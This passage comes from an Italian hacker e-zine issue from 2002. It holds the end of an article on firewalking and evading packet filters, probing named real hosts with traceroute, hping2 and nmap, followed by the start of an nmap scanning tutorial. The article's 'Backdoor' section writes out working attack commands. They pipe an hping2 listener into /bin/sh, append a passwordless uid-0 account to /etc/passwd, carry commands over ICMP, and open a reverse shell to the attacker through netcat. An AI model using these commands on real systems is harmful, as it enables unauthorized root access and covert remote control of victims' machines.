| filtrante. |
| A tale scopo è importante consultare l'elenco dei tipi ICMP, l'ultimo |
| aggiornamento di tale specifica è reperibile all'URL: |
| |
| http://www.iana.org/assignments/icmp-parameters |
| |
| 4.3 Traceroute |
| Il traceroute è un tool che permette di ricavare i router/gateway |
| interessati all'instradamento dei nostri pacchetti verso un sistema |
| destinatario, fornisce in output i vari hop(3) che compie il pacchetto |
| per raggiungere il sistema desiderato. |
| |
| (3)hop: salti, ogni router attraversato rappresenta un salto |
| |
| Ad ogni hop il campo TTL (Time To Live) del pacchetto viene decrementato |
| di un'unità, il raggiungimento del valore 0 da parte di quest'ultimo |
| causa un errore ICMP da parte dell'instradatore che ha processato il |
| pacchetto. |
| Traceroute invia un primo pacchetto verso l'host destinazione con TTL |
| pari a 1 (che scadrà al primo salto causando un errore ICMP da parte |
| dell'instradatore che ha processato il pacchetto), successivamente |
| invierà al sistema destinatario altri pacchetti incrementando di volta |
| in volta il campo TTL di un'unità fino all'effettivo raggiungimento del |
| sistema target. |
| Questo processo fornisce gli IP address di tutti i router interessati |
| all'instradamento compreso l'eventuale dispositivo con funzioni di |
| packet filtering. |
| Qui di seguito sono riportati alcuni esempi che ne illustrano il |
| funzionamento, gli IP address dei primi hop sono stati volutamente |
| oscurati: |
| |
| # traceroute www.arianna.it |
| traceroute to arianna.iol.it (195.210.91.187), 30 hops max, 40 byte |
| 1 192.168.1.1 (192.168.1.1) 1.186 ms 2.035 ms 1.094 ms |
| 2 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 40.615 ms 40.612 ms 42.971 ms |
| 3 xxx.x.xxx.xx (xxx.x.xxx.xx) 42.234 ms 42.148 ms 39.653 ms |
| 4 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 41.942 ms 43.718 ms 45.596 ms |
| 5 gr-mi-b-v12.iunet.it (192.106.1.172) 43.810 ms 44.086 ms 44.008 ms |
| 6 192.106.7.238 (192.106.7.238) 42.775 ms 43.245 ms 47.147 ms |
| 7 * * * |
| |
| L'output del traceroute termina in maniera del tutto anomala al settimo |
| hop indicando la presenza di un dispositivo con funzionalità di filtro |
| di pacchetto, la nostra richiesta è stato droppata e il campo TTL non |
| è stato decrementato con conseguente mancato ricevimento dell'ICMP error |
| atteso. |
| Il programma Traceroute utilizza di default pacchetti UDP per i propri |
| probe, con tutta probabilità questi sono bloccati dalle rules del router |
| che si trova in coincidenza del settimo salto. |
| Possiamo utilizzare l'opzione -I per forzare il programma ad utilizzare |
| il protocollo ICMP al fine di aggirare il filtro: |
| |
| # traceroute -I www.arianna.it |
| traceroute to arianna.iol.it (195.210.91.187), 30 hops max, 40 byte |
| 1 192.168.1.1 (192.168.1.1) 1.162 ms 1.181 ms 1.091 ms |
| 2 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 41.748 ms 41.655 ms 37.773 ms |
| 3 xxx.x.xxx.xx (xxx.x.xxx.xx) 40.642 ms 43.297 ms 41.176 ms |
| 4 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 43.657 ms 42.232 ms 45.558 ms |
| 5 gr-mi-b-v12.iunet.it (192.106.1.172) 41.181 ms 43.095 ms 47.625 ms |
| 6 192.106.7.238 (192.106.7.238) 44.536 ms 43.700 ms 44.011 ms |
| 7 arianna.iol.it (195.210.91.187) 45.323 ms 44.111 ms 42.984 ms |
| |
| Bene! Ora il trace è andato a buon fine ed ha percorso tutti i salti che |
| ci separano dall'host destinatario, ora siamo a conoscenza dell'IP del |
| firewall e siamo in grado di raccoglire ulteriori informazione riguardo |
| alle sue ACL. |
| |
| Vediamo ora un altro esempio analogo: |
| |
| # traceroute -I www.xoom.it |
| traceroute to xoom.it (212.66.231.5), 30 hops max, 40 byte packets |
| 1 192.168.1.1 (192.168.1.1) 1.166 ms 1.165 ms 1.097 ms |
| 2 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 37.347 ms 39.567 ms 40.109 ms |
| 3 xxx.x.xxx.xx (xxx.x.xxx.xx) 38.024 ms 40.095 ms 39.595 ms |
| 4 xxx.x.xxx.xx (xxx.x.xxx.xx) 46.864 ms 43.164 ms 41.677 ms |
| 5 gw-wind-mi6-pos-infostrada.wind.it (212.245.250.49) 44.291 ms [...] |
| 6 c-mi2-fe2a.wind.it (212.245.36.130) 42.704 ms 44.094 ms 45.854 ms |
| 7 212.245.53.30 (212.245.53.30) 55.765 ms 57.864 ms 55.785 ms |
| 8 * * * |
| |
| In questo caso il router che si trova all'ottavo hop non solo blocca le |
| richieste UDP ma anche ICMP, dovremo ricorrere dunque ad una tecnica |
| leggermente differente per aggirare anche questa restrizione. |
| |
| Come avrete visto nell'esempio precedente il traceroute non riesce a |
| fare il suo dovere in quanto i pacchetti da esso utilizzati non riescono |
| a passare il filtro e di conseguenza non riescono a scadere generando |
| l'ICMP che rivelerebbe l'identità del firewall. |
| Proviamo ad utilizzare Hping2 per arrivare la dove il traceroute non |
| arriva, il nostro scopo è creare un pacchetto che arrivi all'hop |
| corrispondente al firewall con un TTL pari a 1 e che verrà accettato da |
| quest'ultimo che ne decrementerà il campo TTL causando il messaggio ICMP |
| TTL exceeded in transit. |
| Prima di tutto tracciamo il nostro sistema destinatario fin dove ci è |
| permesso dal filtro di pacchetto: |
| |
| # traceroute -I www.xoom.it |
| traceroute to xoom.it (212.66.231.5), 30 hops max, 40 byte packets |
| 1 192.168.1.1 (192.168.1.1) 1.166 ms 1.165 ms 1.097 ms |
| 2 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 37.347 ms 39.567 ms 40.109 ms |
| 3 xxx.x.xxx.xx (xxx.x.xxx.xx) 38.024 ms 40.095 ms 39.595 ms |
| 4 xxx.x.xxx.xx (xxx.x.xxx.xx) 46.864 ms 43.164 ms 41.677 ms |
| 5 gw-wind-mi6-pos-infostrada.wind.it (212.245.250.49) 44.291 ms [...] |
| 6 c-mi2-fe2a.wind.it (212.245.36.130) 42.704 ms 44.094 ms 45.854 ms |
| 7 212.245.53.30 (212.245.53.30) 55.765 ms 57.864 ms 55.785 ms |
| 8 * * * |
| |
| Ora sappiamo esattamente il valore TTL che dovremo utilizzare, che in |
| questo caso dovrà essere pari a 8. |
| |
| Usiamo un portscanner per trovare una porta non filtrata sul firewall, |
| nmap è il programma che fa al caso nostro: |
| |
| # nmap -sS -P0 -p 80 www.xoom.it |
| |
| Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ ) |
| Interesting ports on www.xoom.it (212.66.231.5): |
| Port State Service |
| 80/tcp open http |
| |
| Nmap run completed -- 1 IP address (1 host up) scanned in 1 second |
| |
| La porta 80 risulta aperta il che significa che il firewall lascia |
| passare ogni richiesta di connessione (flag SYN attivo) verso tale |
| porta. Alla luce di queste considerazioni agiremo come segue: |
| |
| # hping2 -p 80 -S -t 8 www.xoom.it |
| HPING www.xoom.it (eth0 212.66.231.5): S set, 40 headers + 0 data bytes |
| TTL 0 during transit from ip=212.66.224.46 name=routerxoom.sirio.it |
| TTL 0 during transit from ip=212.66.224.46 name=routerxoom.sirio.it |
| TTL 0 during transit from ip=212.66.224.46 name=routerxoom.sirio.it |
| |
| --- www.xoom.it hping statistic --- |
| 3 packets tramitted, 0 packets received, 100% packet loss |
| round-trip min/avg/max = 0.0/0.0/0.0 ms |
| |
| Ora sappiamo con precisione l'IP del firewall che filtra le nostre |
| richieste (212.66.224.46) e abbiamo la possibilà di studiarne le ACL con |
| gli strumenti precedentemente illustrati. |
| A questo punto incrementiamo ulteriormente il campo TTL di un'unità per |
| verificare l'effettiva presenza dell'host destinatario dietro al |
| sistema filtro: |
| |
| # hping2 -p 80 -S -t 9 www.xoom.it |
| HPING www.xoom.it (eth0 212.66.231.5): S set, 40 headers + 0 data bytes |
| len=46 ip=212.66.231.5 flags=SA DF seq=0 ttl=56 id=14262 win=16384 [...] |
| len=46 ip=212.66.231.5 flags=SA DF seq=1 ttl=56 id=14281 win=16384 [...] |
| len=46 ip=212.66.231.5 flags=SA DF seq=2 ttl=56 id=14295 win=16384 [...] |
| |
| --- www.xoom.it hping statistic --- |
| 3 packets tramitted, 3 packets received, 0% packet loss |
| round-trip min/avg/max = 57.2/61.0/67.0 ms |
| |
| Questa volta a risponderci è direttamente il sistema destinatario, il |
| pacchetto è giunto a destinazione senza che il campo TTL scadesse e la |
| nostra richiesta di connessione è seguita da un pacchetto SYN/ACK come |
| risposta. |
| |
| 4.4 UDP scan |
| L'UDP è un protocollo non connesso e non confermato proprio come l'IP, |
| bensì vengano utilizzati per scopi completamente differenti hanno alcune |
| caratteristiche comuni. |
| Proprio come avviene per l'IP i datagrammi UDP una volta giunti a |
| destinazione correttamente non forniscono alcun riscontro, malgrado ciò |
| un eventuale errore nella comunicazione verrà prontamente segnalato da |
| uno specifico messaggio ICMP. |
| Pertanto, un utente malevolo avvalendosi del protocollo UDP è in grado |
| di rilevare la presenza o meno di un agente filtrante sul proprio |
| cammino sulla base di semplici deduzioni. |
| Grazie a semplici riscontri derivanti dai messaggi ICMP Port Unreachable |
| è possibile rilevare le porte in stato closed sul sistema remoto, mentre |
| le porte alla cui scansione non seguirà alcuna risposta potrebbero |
| risultare aperte o filtrate indistintamente. |
| La condizione in cui la quasi totalità delle porte del sistema risultino |
| apparentemente aperte può facilmente essere dovuta alla presenza di un |
| firewall che droppa i pacchetti in ingresso verso tali porte UDP o che |
| blocca l'invio di tali messaggi ICMP provenienti dalla rete interna |
| verso Internet. |
| |
| 5. Vulnerability |
| Grazie alle tecniche fin ora descritte siamo in grado di rivelare la |
| presenza di un firewall a filtro di pacchetto, ora abbiamo bisogno di |
| identificarlo con maggiore precisione. |
| Ancora una volta il portsurfing si rivela una tecnica semplice ed |
| efficace per ottenere informazioni riguardo un host remoto, tramite la |
| scansione delle porte, infatti, siamo in grado di determinare alcuni dei |
| firewall più comunemente utilizzati. |
| |
| 5.1 Check Point FireWall-1 |
| Il Check Point FireWall-1 ascolta di default sulle porte TCP 256, 257 e |
| 258, possiamo perciò utilizzare un programma di scansione delle porte |
| per identificarlo con estrema facilità: |
| |
| # nmap -sS -P0 -p 256,257,258 localhost |
| |
| Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ ) |
| Interesting ports on localhost (127.0.0.1): |
| (The 1 port scanned but not shown below is in state: closed) |
| Port State Service |
| 256/tcp open rap |
| 257/tcp open set |
| |
| |
| Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds |
| (l'hostname è stato cambiato con localhost per correttezza) |
| |
| Una volta identificato è possibile sfruttare alcune delle vulnerabilità |
| ad esso associate per aggirarne agevolmente le protezioni e ottenere |
| pieno accesso ai sistemi della rete interna. A tale scopo vi rimando |
| alla pagina del produttore che evidenzia le falle più comunemente |
| riscontrabili: |
| |
| http://www.checkpoint.com/techsupport/alerts/ |
| |
| In particolare le versione 3.0 e 4.0 non filtrano il traffico in |
| ingresso sulla porta 53 (TCP e UDP) al fine di permettere query al DNS e |
| trasferimenti di zona. |
| Questa politica permette ad un utente remoto di venire in possesso di |
| informazioni importanti riguardo alla struttura interna della rete |
| grazie alla possibilità di effettuare trasferimenti di zona DNS, inoltre |
| rende possibile la creazione di un canale di ritorno quale una sessione |
| telnet inverso. |
| Lo stesso vale per la porta UDP 512, un attacker potrebbe forgiare dei |
| pacchetti RIP contraffatti al fine di provocare l'aggiornamento delle |
| tabelle di routing dei router di confine per permettere l'instradamento |
| di pacchetti verso reti non consentite dalle politiche di sicurezza. |
| |
| Vi sono molti altri firewall che presentano svariate falle nella |
| sicurezza, il più delle volte il sito stesso del produttore è la |
| maggiore fonte di informazioni a riguardo. |
| |
| 5.2 Syncookies |
| Il sistema Syncookies dovrebbe permettere la totale scomparsa di minacce |
| derivanti da attacchi SYN flood che hanno messo in ginocchio in passato |
| grossi colossi della rete. |
| Syncookies entra in funzione in presenza di un attacco e in caso di |
| richiesta di connessione (SYN flag attivo) manda al richiedente un |
| pacchetto SYN/ACK con un cookie crittografato, per chiudere l'handshake |
| a tre vie il primo host deve mandare un ACK che comprenda il cookie |
| precedentemente ricevuto. |
| Questo permette di eliminare la coda SYN_RECEIVED e di continuare a |
| gestire le richieste legittime scongiurando ogni tentativo di negazione |
| del servizio. |
| Di contro, è stata riscontrata una vulnerabilità che può permettere di |
| aggirare un firewall a filtro di pacchetto nel qual caso faccia |
| affidamento a regole basate sullo stato del flag SYN dei pacchetti per |
| applicare il reject o il drop degli stessi. |
| In particolare, un utente remoto in grado di raggiungere con un attacco |
| SYN flood una porta del sistema non protetta dal firewall al fine di |
| causare l'intervento e l'emissione dei cookie, potrà in un secondo tempo |
| stabilire una connessione fornendo un pacchetto ACK contenente il cookie |
| corretto. |
| Tale cookie può essere determinato con successo grazie ad un attacco di |
| forza bruta che permetterebbe un accesso non consentito al sistema |
| protetto dal firewall. |
| |
| 6. Backdoor |
| Una volta ottenuto l'accesso ad uno dei sistemi interni alla rete |
| l'attacker provvederà alla creazione di una backdoor che dovrà garantire |
| la comunicazione attraverso il firewall. |
| |
| Hping2 se eseguito in modalità listen rimane in ascolto sull'interfaccia |
| di rete specificata in attesa di ricevere un pacchetto contenente la |
| stringa definita al momento dell'esecuzione (nell'esempio è pass), nel |
| qual caso la stringa contenuta all'interno del pacchetto ricevuto |
| corrisponda, i byte successivi saranno rediretti sullo standard output. |
| |
| vittima# hping2 -I eth0 -9 pass |
| |
| Usando un pipe siamo in grado di redirigere lo standard output verso un |
| altro programma, ad esempio verso l'interprete dei comandi al fine di |
| ottenere una shell remota sul sistema: |
| |
| vittima# hping2 -I eth0 -9 pass | /bin/sh |
| |
| Una volta posto Hping2 in ascolto sul sistema remoto, basterà inviare ad |
| esso pacchetti che contengono la stringa di riconoscimento seguita dal |
| codice che si desidera eseguire, per far ciò basterà connettersi su una |
| qualsiasi delle porte non filtrate dal firewall e procede come segue: |
| |
| attacker# telnet vittima 21 |
| Trying 127.0.0.1... |
| Connected to vittima. |
| Escape character is '^]'. |
| 220 ProFTPD 1.2.2rc3 Server (ProFTPD Default Installation) |
| passecho r00t::0:0::/root:/bin/bash >> /etc/passwd; |
| 500 PASSECHO not understood. |
| quit |
| 221 Goodbye. |
| Connection closed by foreign host. |
| |
| In questo modo abbiamo aggiunto un account con uid e gid 0 al file delle |
| password senza nemmeno fare login sul sistema. |
| |
| Nel qual caso non avessimo alcun punto di accesso al sistema da remoto |
| dovremo affidarci al protocollo ICMP per veicolare i nostri comandi in |
| maniera del tutto indisturbata: |
| |
| attacker# hping2 -c 1 -1 -d 52 -E ~/data.txt vittima |
| HPING vittima (lo 127.0.0.1): icmp mode set, 28 headers + 61 data bytes |
| 89 bytes from 127.0.0.1: icmp_seq=0 ttl=255 id=50 rtt=0.3 ms |
| |
| --- localhost hping statistic --- |
| 1 packets tramitted, 1 packets received, 0% packet loss |
| round-trip min/avg/max = 0.3/0.3/0.3 ms |
| |
| dove l'opzione: |
| -c è il numero di pacchetti da inviare; |
| -1 indica il protocollo ICMP; |
| -d indica la grandezza in byte del campo dati, che deve essere uguale a |
| quella del file specificato tramite l'opzione -E; |
| -E specifica il file che contiene il valore che assumerà il campo dati; |
| |
| Il file data.txt che si trova nella home directory dell'utente attacker |
| dovrà contenere quanto segue: |
| |
| passecho r00t::0:0::/root:/bin/bash >> /etc/passwd; |
| |
| L'utilizzo delle opzioni -C e -K che permettono di specificare il tipo e |
| il codice del messaggio ICMP aumenteranno le possibilità che |
| quest'ultimo arrivi a destinazione senza essere droppato dal firewall. |
| I messaggi ICMP seguenti sono infatti difficilmente filtrati dai |
| dispositivi di rete e saranno proprio questi quelli di cui si servirà |
| un malintenzionato per veicolare i suoi comandi: |
| |
| |
| (tratto da ICMP TYPE NUMBERS, www.iana.org) |
| Type Name Reference |
| ---- ------------------------- --------- |
| 0 Echo Reply [RFC792] |
| |
| Codes |
| 0 No Code |
| |
| 3 Destination Unreachable [RFC792] |
| |
| Codes |
| 4 Fragmentation Needed and Don't Fragment was Set |
| |
| 4 Source Quench [RFC792] |
| Codes |
| 0 No Code |
| |
| 11 Time Exceeded [RFC792] |
| |
| Codes |
| 0 Time to Live exceeded in Transit |
| |
| |
| Questo tipo di backdoor permette ad un attacker esterno alla rete |
| protetta di eseguire comandi alla cieca sul sistema remoto, ad ogni modo |
| è possibile perfezionare il pipe precedentemente descritto al fine di |
| ottenere un canale di ritorno verso il proprio sistema. |
| E' possibile che il malintenzionato ponga un listener in ascolto su una |
| porta locale del proprio sistema in modo da accogliere una sessione |
| inversa originata dal sistema posto dietro al firewall, esempio: |
| |
| attacker# nc -l -p 25 |
| |
| In tal modo la sessione inversa potrà aver luogo: |
| |
| vittima# hping2 -I eth0 -9 pass | /bin/sh | telnet attacker 25 |
| |
| L'output dei comandi verrà visualizzato sul sistema attacker attraverso |
| netcat (nc) che ascolta sulla porta 25, notare che non è il sistema del |
| malintenzionato a dar vita alla sessione bensì il sistema interno alla |
| rete protetta, pertanto la sessione in tal modo originata verrà quasi |
| sicuramente consentita dalla politica del firewall. |
| |
| |
| 7. Risorse |
| RFC 793, Transmission Control Protocol |
| Hping2-HOWTO |
| man nmap |
| firewalk-final.txt |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [NETW0RKiNG] #06 - 25/04/2002 |
| NMAP [ADvAnCeD'] 0x08/0x1D |
+--------------------------------------------------------------------------+
| |
| [x]* S0mm4r10 * |
| |
| --[x] Sommario -------- Indice/struttura del txt |
| --[1] Info -------- Note/info sull'autore |
| --[2] Intro -------- Testo introduttivo/saluti |
| --[3] Disclimer -------- Responsabilità |
| --[4] Nmap Howto -------- TUtorial su Nmap |
| ---[4.1] Nmap questo sconosciuto -------> Cosa?dove?come? |
| ---[4.2] Modalità di scansione -------> I vari metodi di scanning |
| ---[4.3] Opzioni -------> Opzioni di scansione |
| ---[4.4] Altri usi di Nmap -------> Nmap non solo scanning |
| -----[4.4.1] Ping Sweep -------> Mass ping con Nmap |
| -----[4.4.2] Os detecting -------> Determinazione di un os |
| -----

  
[4.4.3] Individuazione RPC -------> Ricerca dei servizi rpc |
| --[5] End -------- Conclusioni, note finali |
| |
| |
| |
| [1] * Inf0 * |
| |
| Lunedì Pomeriggio 17.27 - Date /18/02/2oo2/ |
| |
| Author: ADvAnCeD` |
| Mailto: advanced@mojdo.it |
| icq : 143413192 |
| web : http://advanced.too.it |
| web2: http://www.mojodo.it |
| irc: IrcNet on #mojodo |
| |
| |
| |
| [2] * InTr0 * |
| |
| Buona seeeeeeeeeera ! Inizio subito col salutare OndaQUadra e tutti i |
| suoi memberi, in particolar modo MightyInquisitor che mi ha permesso |
| di scrivere su questa zine. Specifico subito che questo testo, non può |
| essere riprodotto su altre e-zine, nemmeno in parte, dato che io, ho |
| deciso di scriverlo unicamente per OQ. Beh questa volta ( per la prima |
| volta ) non mi perdero` troppo in un intro piena di burlonate, che di |
| solito piacciono.... Boh non lo so sta volta non mi va... Beh diciamo |
| che concludo salutando e fukkando un po di gente ( sorry se dimentico |
| qualcuno ) |
| |
| |
| |
| Gr3tz to: aNt}R{oPe, Salvo`b, Hi-Tech hate, Ade, `fRa`, Ice-man, |
| Resinaro, Syn,Dibb3llas, No-fly zone crew, #phreak.it, lInux & c, |
| Hornet, Severance, SPYRO, Lord>icio, MARSIO, uiha,D3fu ,Xanthic`, |
| MightyInquisitor, Net Destroyer, bartx, FIx, ZIo_tom, lupsyn, Valk, |
| Kewl`, #dbzone , #tcc ( non vi scioglieteeeeee!!!! ) , #mojodo, #hack, |
| Delliah, NetDIgger, Goku, noflyzone , XarBas ( si scrive cosi?? ), |
| Linus Torvalds,OndaQuadra, Raptor_ , resinaro,bart99,BigaleX,Valnir, |
| Cate,Skizzo; Procsi, Flash,XP Terminator, Astharot, finiz, PhrakMan, |
| Pino & Olio |
| |
| FuCk tO: vetranks, holaz ( me la paghi brutto pezzo di ***** ), |
| windowsXP, billgates,professoressa CUcciari, Moratti |
| |
| ps: Ho aperto http://advanced.too.it, un sito personale dove ci |
| trovate un bel po' di roba mia:) |
| |
| |
| |
| [3] * D1sCl4im3r * |
| |
| Bah, in questo testo non troverete particolari techniche di attacco, |
| ma soltanto una spiegazione del funzionamento di Nmap. In ogni caso un |
| buon disclaimer puo` sempre salvare il culo (_Y_) . Vi ricordo sempre |
| che lo scanning delle porte e` considerato,anche se minore, pur sempre |
| un reato penale. Prima di scannare un host, e` meglio fornirsi delle |
| autorizzazioni necessarie dell' admin del sistema target, per evitare |
| problemi legali. Se scannate un host di un server con l'admin |
| bastardo, vi potrebbe anche denunciare, anche se succede molto molto |
| raramente... Quando fate una cosa cercate di rendervene responsabili |
| al 10% e cercate di capire perchè lo fate. PLs :) |
| |
| -@ Tutte le informazioni che troverete in questo documento sono a |
| puro scopo informativo, |
| -@ e l'autore non incita i lettori a provare e effettuare manovre che |
| potrebbero causare danni |
| -@ a terzi.Io, l'autore, non mi assumo nessuna responsabilità di |
| eventuali conseguenze. |
| |
| |
| |
| |
| * Nmap Security Scanner * |
| |
| Beh che dire... Chi non conosce Nmap? Beh non temete anche se non |
| avete la piu` pallida idea di cosa sia ( ... ) sono qui apposta io per |
| spiegarvelo da zero . Non sono richieste particolari abilita` o doti |
| sovraturali, ma soltanto un sistema operativo unix-like, e un bel po` |
| di buona volota` ( che non deve mai mancare in un abile smanettone ) |
| |
| [4.1] *Nmap questo sconosciuto* |
| |
| Nmap... Che cos'è? Nmap e` attualmente il miglior sowtare disponibile |
| per la scansione delle porte. Questo gira sotto sistemi unix, e al |
| momento della scrittura di questo articolo, non e` ancora stata |
| rilasciata una versione per windows, e spero che mai uscira`. Nmap e` |
| un progetto totalmente open source e free, ideato da Fyodor ( non mi |
| chiedete quando ) e disponibile per il download all' url |
| http://www.insecure.org/nmap .Vengono spesso rilasciate nuove releases |
| e beta, che pero` a volte sono instabili, vi consiglio quindi di |
| scaricarvi sempre qualche versione non beta, che sia stabile anche se |
| un po' meno recente. una volta scaricato il pacchetto, esplodetelo dal |
| terminale con il comando |
| |
| root@advanced # tar xvfz nmap-4x-betax.x.tar.gz |
| |
| In questo modo avete creato una directory di nome nmap. Entrate nella |
| dir e procedete all'installazione che consiste in 3 passaggi: |
| |
| root@advanced # cd nmap/ |
| |
| root@advanced [/root/nmap] # ./configure |
| |
| root@advanced [/root/nmap] # make |
| |
| root@advanced [/root/nmap] # make install |
| |
| Se avete una macchina lenta l'installazione puo` anche richiedere un |
| po' di tempo... ma voi andate di fretta? no! e alloraaaaaaa! tranqui! |
| Ok ora avete installato il sowtare sul vostro sistema operativo |
| preferito ( ... ) ... siete pronti all'uso del programma, penserete! |
| Ma non e` assolutamente così. Vi manca la teoria... se no cosa caaa lo |
| scrivevo a fare sto testo? Quindi ora mettetevi pure l'animella in |
| pace e studiate che fa bene . Bene... definire Nmap un "analizzatore |
| di porte"
e` molto restrittivo, dato che offre molte altre |
| funzionalita` che poi analizzeremo. Nmap dispone di quasi tutti i |
| metodi di scansione delle porte usati o implementati da altri |
| programmi. Dispone infatti del semplice metodo direct TCP connect() ( |
| un processo di comunicazione completo TCP a tre vie con la chiusura |
| della connessione) ,di diverse modalita` nascoste basate sull'uso di |
| pacchetti IP non trattati e anche del metodo di scansione delle |
| sessioni FTP negate. Diciamo che sono veramente tanti i metodi di |
| scansione... andiamo ad analizzarli... |
| |
| |
| |
| [4.2] *Modalita` di scansione* |
| |
| OK bene. Ora iniziamo ad analizzare le varie metodologie per lo |
| scanning con nmap. Inannzitutto per far partire il programma basta |
| digitare |
| |
| root@advanced # nmap |
| |
| Vi comparirà la piccola guida... Ora vediamo che sostanzialmente nmap |
| si usa con la sintassi |
| |
| |
| root@advanced # nmap -argomento [host] |
| |
| Per esempio provate a far mappare il localhost a nMap. |
| |
| |
| root@advanced # nmap 127.0.0.1 |
| |
| Vedrete ora le porte che avete aperte, filtrate, con il rispettivo |
| servizio che gira sulla porta. Non mi sembra difficile analizzare |
| l'output di nmap. INoltre fornisce anche accanto al numero della |
| porta, il protocollo su cui gira il demone ( TCP, UDP, icmp .... ecc ) |
| .Con la semplice sintassi "nmap host " è facile capire che si esegue |
| un semplice mapping delle porte aperte con i parametri predefiniti. Ma |
| in realtà ci sono veramente molte altre opzioni che ora andremo ad |
| analizzare bene da vicino. Qui sotto vi riporto l'elenco degli |
| argomenti disponibili, con relativa spiegazione. |
| |
| |
| |
| °°°°°°°°°°°°°°°°°°Connect°°°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -sT host |
| |
| -Info: Scansione della porta con una connessione completa TCP |
| connect(). Questa e` la scansione di default di nmap |
| ed e` l'unica che possono usare anche gli utenti diversi |
| da r00t |
| |
| |
| °°°°°Scansione Nascosta (Stealth SYN)°°°°°°° |
| |
| -Usage: nmap -sS host |
| |
| -Info: Invia un pacchetto SYN singolo, il primo pacchetto di |
| comunicazione TCP a tre vie. Se e` ricevuto un SYN\ACK, |
| allora e` certo che il sistema si trova in ascolto su |
| questa porta. Non completa la connessione TCP e questo |
| e questo significa che il processo non e` registrato |
| come una chiamata connect(). Scansione "half-open" e` |
| il termine usato per definire una connessione di questo |
| tipo |
| |
| °°°°°°°°°°°°°°°°°°°°FIN°°°°°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -sF host |
| |
| -Info: Scansione FIN.E` inviato un pacchetto FIN grezzo. Se e` |
| ricevuto un pacchetto RST, la porta e` chiusa.Se non si |
| riceve nulla, la porta deve essere per forza aperta. |
| I sistemi windows, che non seguono le specifiche IP, |
| non possono scoprire eventuali scansioni di questo tipo |
| |
| °°°°°°°°°°°°°°°°Xmass Tree°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -sX host |
| |
| -Info: Scansione Xmass Tree.Simile alla scansione FIN, usa un |
| pacchetto in cui sono impostati attivi i flag FIN, URG e |
| PUSH. |
| |
| °°°°°°°°°°°°°°°°°°°Null°°°°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -sN host |
| |
| -Info: Modalita` di scansione null. Usa lo stesso sistema della |
| scansione FIN, ma invia pacchetti senza flag attivi |
| |
| °°°°°°°°°°°°°°°°°°°°Udp°°°°°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -sU host |
| |
| -Info: Scansione UDP. Nmap inviera` un pacchetto UDP di 0 byte |
| a ciascuna porta del sistema target'. Se e` ricevuto un |
| messaggio ICMP di porta non raggiungibile ( port |
| unraechable), questo significa che la porta e` chiusa. |
| L'operazione di scansione tende a essere molto lenta |
| poiche` adotta un suggerimento contenuto nella nota |
| RFC 1812 che limita` la velocita` di trasmissione dei |
| messaggi di errore ICMP.Se nmap fosse eseguito alla massima |
| velocita` possibile, il programma perderebbe la maggior |
| parte dei pacchetti ICMP potenziali di ritorno. Nmap, |
| invece, determinera` la velocita` usata dall'host e |
| rallentera` di conseguenza la velocita` di scansione |
| |
| °°°°°°°°°°°°°°°Protocollo IP°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -sO host |
| |
| -Info: Scansione del protocollo IP. Consente di determinare |
| i protocolli IP supportati dal target. Nmap invia |
| pacchetti IP grezzi per ciascun protocollo. Se e` |
| ricevuto un messaggio ICMP di tipo protocollo |
| irraggiungibile (protocoll ureachable), il protocollo non |
| e` supportato. Alcuni sistemi operativi, e firewall, non |
| inviano pacchetti ICMP e percio` potra` apparire che tutti |
| i protocolli siano supportati |
| |
| °°°°°°°°°°°°°°°°°°°°ACK°°°°°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -sA host |
| |
| -Info: Scansione ACK. Questo tipo di scansione consente di escludere |
| i set di regole abilitati nei firewall e consente di |
| determinare se un firewall tiene conto degli stati o se e` un |
| semplice filtro per bloccare i SYN |
| |
| °°°°°°°°°°°°°°°°Window SIze°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -sT host |
| |
| -Info: Scansione Window. Questo tipo di scansione, simile alla |
| scansione ACK, usa la dimensione delle finestra TCP per determinare se |
| le porte sono aperte, filtrate o non filtrate. Linux, fortunatamente |
| non e` vulnerabile a questo tipo di scansione, sebbene lo possa essere |
| il firewall. |
| |
| ---------------------------------- |
| |
| Alcuni firewall bloccano i pacchetti SYN limitandoli a porte ristrette |
| nelle reti protette. In questi casi consiglio di usare metodi di |
| scansione FIN, Xmas Tree e Null, che sono molto più difficili da |
| scoprire. |
| |
| |
| E con questo abbiamo concluso le modalità di scansione delle porte con |
| nmap... Anche se ci sono altri due argomenti che analizzeremo in |
| seguito, ovvero l'individuazione di servizi RPC e la determinazione |
| del sistema operativo. |
| |
| |
| |
| [4.3] *Opzioni di scansione* |
| |
| Oltre alle varie metodologie di scansione che abbiamo appena |
| esaminato, nmap consente di controllare varie opzioni di scanning, |
| funzionalità aggiuntive molto utili per avere maggiori informazioni |
| sul sistema target. Ora andro` a elencare e spiegare ogni singola |
| opzione. |
| |
| |
| |
| °°°°°°°°°°°°°°°°Ping Forced°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -P0 host |
| |
| -Info: Normalmente nmap effettuera` il ping dell'host prima di |
| analizzarlo. Se e` noto che un sistema e` in esecuzione o si sospette |
| che stia bloccando i pacchetti di ping ICMP, si usa questa opzione per |
| forzare la scansione |
| |
| |
| °°°°°°°°°°°°°°°Reverse Ident°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -I host |
| |
| -Info: Scansione reverse ident.Nmap si colleghera` alla porta con una |
| chiamata full connect() (notate che le scansioni nascoste non potranno |
| essere usate in questa modalita`) e, una volta connesso, effettuera` |
| l'interrogazione del server identd nel sistema target per determinare |
| l'utente (username) in ascolto.Questo consente determinare se root o |
| un altro utente sia collegato ad una determinata porta |
| |
| |
| °°°°°°°°°°°Pacchetti frammentati°°°°°°°°°°° |
| |
| -Usage: nmap -f host |
| |
| -Info: Pacchetti di scansione frammentati. Un pacchetto TCP puo` |
